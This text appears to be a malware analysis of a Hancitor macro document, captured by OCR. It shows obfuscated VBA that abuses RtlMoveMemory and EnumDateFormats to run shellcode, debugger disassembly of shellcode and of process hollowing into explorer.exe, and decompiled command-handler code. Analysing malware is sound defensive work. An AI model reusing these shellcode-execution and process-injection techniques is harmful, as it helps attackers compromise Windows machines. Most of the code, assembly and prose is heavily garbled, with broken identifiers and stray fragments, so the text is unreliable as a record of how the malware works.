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Dim salvelinus s String
Dim cruetstand

Dim otinsity

Dim hebetude

Dim burrock As String
Dim brassband

Sub bellwort (1

Dim pitched Az Long

Dim leadfree As Long

bleep = postpaid sottishness lancers. ControlTipText

metallurgical = 73 + 25 + 7267

fusiform = Right (bleep, metallurgical)

mandanuz = luxation. truisn (Fusiforn)

devolution = 8¢

serimp = B3

If devolution + serimp < 11 Then

develution = Llasef ("ca”) & Mid ("sdvancedrnossurxenorhyneus”, 9, 7)
otiosity = “aggrandizement”

nails = Right§ ("marrowmindedlac”, 3) & Mid("archesporetobacillusslnondshaped”, 11, 10)
Else

hebetude = brasshand % 3

serimp =

End If

dicamptodontidas = MidCmegalonani scsl fagymbhans”, 15, 2) & Uasaf ("5¢7)
myeloblast = "malathion”

#If HizB4 And Len("fortinet should create new signatuwre”) = 35 Then
Dim spproachable hs String

Dim communicating As scsteus

Dim contracter As Longftr

communicating sheet = 0

Dim wirginals As Byte

#lse

Dim inconceivableness s Byte

communicating =

Dim congridae As Leng

Dim centractor As Lemg

#End If

sufficit=d4e - 1IN +ER

U ga TS

an.rorgasile =

Mid( comiumatbpisewts’. 7. 21 & Lert! oremariung’. 3
brassband = brassband ; 289

Tov:ngwindness = Left (' ampzitsburgh’, 20 & Md(*edg: g3 by
Else

hebetude = brassband And 398

farmel =

End If

shandredhan = 'messun
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3.5 Toggle Button »
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ThisDocument
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lancers ToggleButton

lancers-
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Fudme
xwekStyle - 1.- fmbaclStsylelpague -

aptiom

ontrolSource
ControlTipText QGHgACw TwSODuFORQG BH
Enabled True
F ot Tahoma
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For ketose = 0 To oto Step bicclimatic
eirveumsztantially = abwatt (ketoze)
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7a Rt1MoveMemory

salientd hopples™ T A

L 1L Tub you the rightwa;

Publie Declare Sub salient be “ntdll” Alias “RtlMovellemory” (jd As Any, shan As Any,

"with ny hands and fomgus i 11 make you howl like a welfl
‘Tust give me s call
S v e et
!

8a unproductively i

~ ~ o,

— ~

w
[ N F p TA

PO AT
salient slave, By¥al VarPir (mproductively) + 8, ¢
Dim honi As Integer
Dim omani As Long
Dim allot ks Long
scow = 0
flaming = 0
dextrad = 4098
cosptation = hopples(-1, flaming, T3E, dextrad 84)
salient allot, ByWal VarFir (coaptatlon) + 8
sal}ent Be¥al sllot. Bv¥al slave, T334

Ne

3.10

9a shellcode

shellcodeD u

“Like & gemie in the bottle

Wad

VirtualAllocEx

shellcode 9

P © Nez G

Ey¥al pentathlon As Leng)

shellcode
Rt1MoveMemory

VirtuallocEx
shellcode

" Hunpr oductivelyHHEHEE I Bl avep

B VirtualdlloecEx BRI FFERE
’ Al3E

T15]al1at

coaptatio

S slapeti BRI Bl 1o it size = 7384

RtIMoveMemory

~,

&
A

EnumDateFormats
D =3,

Publ1c Declare Function purgatorial Lib “rernel32” Mias “EromDateFormatsh” (ByVal lpEnumFunc As Any, By¥al ferocactus As Any, ByVel 1Param As dny) As Long

"yith ny hands and tongue T-1i-male you howl like a wolf!

3.11 EnumDateFormats £

RS

ﬂashback = D

Dim condolence ks Long

condolence = contractor + cleaning
tricuspid = purgatorial (condelence,
berant = 8T

3.12 EnumDateFormats #

flashback, flashbaclk)

' BEHEBNRTE cleaning ( 3677 ) BIEE
! iﬁﬁﬁEnwnDateFormats'ﬁ'liﬁ

shellcode b P D~



10a

Declare Function EnumDateFormats Lib "KERNEL32" Alias "EnumDateFormats”

EnumDateFormats # H Y

Rt

~

V) 5 A

-

ByVal Locale As Long, Byval dwFlags As Long) As Long

11a

Paused

a

[ Waea u =

yVal IpDateFmiEnumProc As Long, ™

3.13 EnumbDateFormats # H

shellcoden A

~

EnumDateFormats T LY

PRV S TTTY)
70838808  6A 01
7C838882 FF75 18
7C838805 FF75 8C
708388088  FF75 08
70838808 E8 09066000
7c838818

7C838811 aces

70838819
7C83881B
7C838BB1C
7C83881E| n1 AS53887C
7C838823| 53
70838824 56
70838825 BB75 6C
7C838828| 3BFQ
@F85 9DBBA100
A1 5B853887C
85CH
@F8L4 8D0OGOAN
7C83883D| 8BSD 68
7C838848 B5DB
7C83BBL2 BF84 828080888

. Rernel32 70828819
ebp

edi,edi
ebp
ebp,esp
eax,
ebx
esi
esi,dword ptr ss:[ebp+BxC]
esi,eax
kernel32 _7C8493CD
mov eax,
test eax,eax
kernel32.7C8388CA
mov ebx,dword ptr ss:[ebp+0x8]
test ebx,ebx
I} kernel32.7C8388CA

_ .

B8812EE58
B812EESC
BO12EEGH
B012EE6Y4
B812EE68

A1 ?FEAL L ADBBOE

7C8389D1

7CB3B9EC
7CB3IBYEF|.
7CBIBIFS
7CB3IBIFGH

7CBIBIFC

38
SCFFFFFF
UCFFFFFF
BE 87 6188
3ac
A3 878108

SBFFFFFF

BA52BESD| 55
8BEC
81EC CCA70888
64:A1 300000808

3.14 EnumDateFormats &

xor ebx,ebx
test eax,eax
short kernel32._7C838A11
cmp dword ptr s ebp+0x38] ,ebx
lea eax,dword ptr ss:[ebp-8xA4]
v dword ptr ss:[ebp-8xB4],eax
kernel32 _7C8491AA
cmp dword ptr ss:[ebp+8x3C],esi
kernel32.7C849198
eax
call dword ptr ss:[ebp-BxzA8]

Cmp eax,esl

3.15 EnumDateFormats #

push ebp

mov ebp,esp

sub esp,B8x7CC

mov eax,dword ptr fs:[8x30]

nov eax,dword ptr ds:[eax+8xC]
man pax .y -ntr AscTeavs feif]

o A

call shellcode

shellcode



3.2 0x02. Shellcode

1a Shellcode 0 VI,

08B27 BESD 55

B8B27 GESE 8BEC

BB27BE6E 81EC CCA700888
BB27BEGG 64:A1 30000000
B8B27 BEGC 8B4B BC

8B27 BEGF 8B40 1C
B8B27BE72 8BLA BB
BB27BE7S

OB270E76

8B27BE77

ADnIACIO

8B27GEYE BIBS BEFEFFFF
B8B27BE?C E8- SBFEFFFF
B8B27 BEA1 59

B8B27BEA2 59

BB27BEA3 6h 6B
B8B27BEAS 8BFB

B8B27BEAT 58

BB27 BEAS 6R 65

B8B27 BEAA 66:8985 7U4FEFF
BB27 BEB1 c8

b2 ﬁE;&“
"

S
-De. _CTw nH JC
OB270EBE  66:8985 7BFEFFI
8B27BECS pop
8B27 BECH )

3.16 Shellcode 9

2ac p 0x1000 B Ap N magic® 0x52415453"
0x4C4C4146~ B i ” GetMappedFileNameA co  p

BA521113 ecx
mov dword ptr ss:[ebp-BxC],eax
mov esi,dword ptr ss:[ebp-8x4]

esi
call dword ptr ss:[ebp-98x8] kernel32.IsBadReadPtr
cmp eax,ebx
8 short eas2112c
81CE FFOFO000 esi,
EB 23 I short eas2114F

813E 53544152

75 1
817E B4 L6EM4T1UC
BA52113B|, 75 12 short BAS2114F
BA52113D 57 edi
BA52113E 8D85 34FBFFFF |lea eax,dword ptr ss:[ebp-Bx7CC]
BA521144 58 eax
BA521145 56 esi
BA521146 6A FF
BA521148 FF55 F4 call dword ptr ss:[ebp-BxC] psapi.GetMappedFileNaneA
BAS2114B 85ca test eax,eax
BA52114D 75 06 E short BA521155
OnS2114F| 46 inc esi

3.17 Shellcode A p

5 v

3aNe W P ADD  XOR - P
W  base64 - F JuWa PE » A
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6B27117a 59
6R B4
[amilighilililili]
8271182 BE ACSAB000 mov esi,
BB271187 56 esi
BB271188 53 ebx
6B271189 FFD@O call eax kernel3d2.Virtualalloc
BB27118B 8BCE MoV Eecx,eax
BB27118D 804D F4 mov dword ptr ss:[ebp-8xC],ecx
6B271198 3BCB cmp ecx,ebx
6B271192|., OF84 F5030000 6B27158D
BB271198 8B4S FC mou eax,dword ptr ss:[ebp-Bx4]
83C8 68c add eax,
8975 F8 mov dword ptr ss:[ebp-8x8],esi
eB2711a1 2BCB sub ecx,eax
BB2711A3 sn1o mov dl,
BB2711A5| FF4D F& dec dword ptr ss:[ebp-8x8]
BB2711A8 881401 ,dl copy data
6B2711AB L] i eax
BB2711AC 305D F8 dword ptr ss:[ebp-8x8],ebx
@B2711AF |~ 75 F2 j short BB2711A3
8B2711B1 33ce - eax,eax
o

‘i
dB271139

vB27118F 81401
eB2711c2 £l
BB2711C3 3BCH s
BB2711C5 )" 72 EC snort EB2F11B3
BB2711C7 51
basedl BB2711C8 E8 11FCFFFF BB27 BDDE
kernel32.7C80B000 BB2711CD 8B75 EC )

4D 5n 90 60|83 0D 00 OO 04 6D B0 BG|FF FF 80 00 7 -

: @828B8R949 IINICNDE ™ —H-d" ARADAATA  BE 00 00 DONER A
i ST ] T — 3
.gSiigangbs:E:=

SN

Jraa

3.18 shellcode p PE

4a Y e 0 explorer. exe’

b Y.

Sty 81C714B8 | ~CALL to from B1C714B5
8612DEGC| B812E374|| HoduleFileNHame = "C:\WINDOWS\explorer.exe"
8812DEFG| 0000880688|| CommandLine = HULL

8612DE¥4| 08806686668 (| pProcessSecurity = HULL

8812DEFS| 0008080888\ | pThreadSecurity = HULL

8612DE7C| 866666668 (| InheritHandles = FALSE

8812DESG| 008080884|| CreationFlags = CREATE_SUSPEHDED
8612DES4| 660666668 (| pEnvironment = HULL

319 - EO6

5a =« EO H ~ B N explorer. exe | unmap

4 ~

) PE ~ ) ) A



BB2714C6 L) eax

BB2714C7 FFB5 6BFEFFFF dword ptr ss:[ebp-0x198]

BB2714CD FF95 BOBFEFFFF (gall dword ptr ss:[ebp-8x158] kernel32.GetThreadContext
BB2714D3 85CH test eax,eax

8B2714D5 |, OFBL B2000OO0O m BB27158D

BB2714DB BF 08004868 mov edi,

BB2714E0| 57 edi

BB2714E1 FFBS 64FEFFFF dword ptr ss:[ebp-8x19C]

BB2714E7 FF?5 SOFEFFFF (gall dword ptr ss:[ebp-8x1B8] ntdll.ZwUnmapViewlfSection
BB2714ED 8BLS FL mov eax,dword ptr ss:[ebp-8xC]

BB2714F B E8 6FF7FFFF call BB27BCG4

BB2714F5 6n 4@
BB2714F7 68 8083080868
BB2714FC 8BFB mou esi,eax

BB2714FE FF76 58

BB271581 57 edi

BB271582 FFBS 64FEFFFF dword ptr ss:[ebp-8z19C]

BB271588 FF95 6BFEFFFF (call dword ptr ss:[ebp-8x1A8] kernel32.UirtualAllocEx
BB27158E| B9LS FC mou duord ptr ss:[ebp-Bx4],erax

BB271511 3BC3 cmp eax,ebx

BB271513|, 74 78 m short BB27158D

BB271515 53 ebx

8B271516 FF76 54

AnnTaran e e

3.3 0x03. PE dump

t=

vhe

1a " [ explorer.exeT PE o dump® Ne "0 1 '

@ Hancitor ! A
23 W ~" vy i ©9Ah w =~ e L 1
D~ b Tvw 9 A

{
int w3; //
if [1] = """ )
return 8;
if ( %al == "p" ) 77 T EE A T svchost i fT
{
= sub_u@1524(al + 2);
goto LABEL_16;
h
1F ( %1 == c* ) /7 Efnurnhil, HE5 A4
{
= sub_4@1DBE(al + 2);
LABEL_16:
return 1;
b

{iF ( *xal == ‘e’ ) /7 TEIRRETSME, HHETEAEIAT
= sub_nB14C8(

goto LABEL_16;

if (%2l == '1' ) /5 THET, BEERMIT

= sub_4B14C8( + 2, 1);
goto LABEL_16;

+
M
=

—

wn

H

if ( = t='n" )

{
iF ( *al t= 'rt ) /1 TEHRTR R BREIAT
return 8;
= sub_48157B( + 2);
goto LABEL_16;
b
* =1;
return 1;






HTTP/1.1 200 OK
Date: Thu, 27 Oct 2016 02:00:56 GMT

Server: Apaches2.4.16 (Unix)

Last-mModified: wed, 26 Oct 2016 12:14:51 GMT
ETag® = £1000-53tc4690a267c”
*~17AcLEpl-Ranges: bytes
Content-Length: 69632

(Connection: ¢l
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# T4 "Public Declare PtrSafe Function epilithic Lib "kernel32” Alias “GetModul

eHandle® (lpModuleName As LongPtr)’
e
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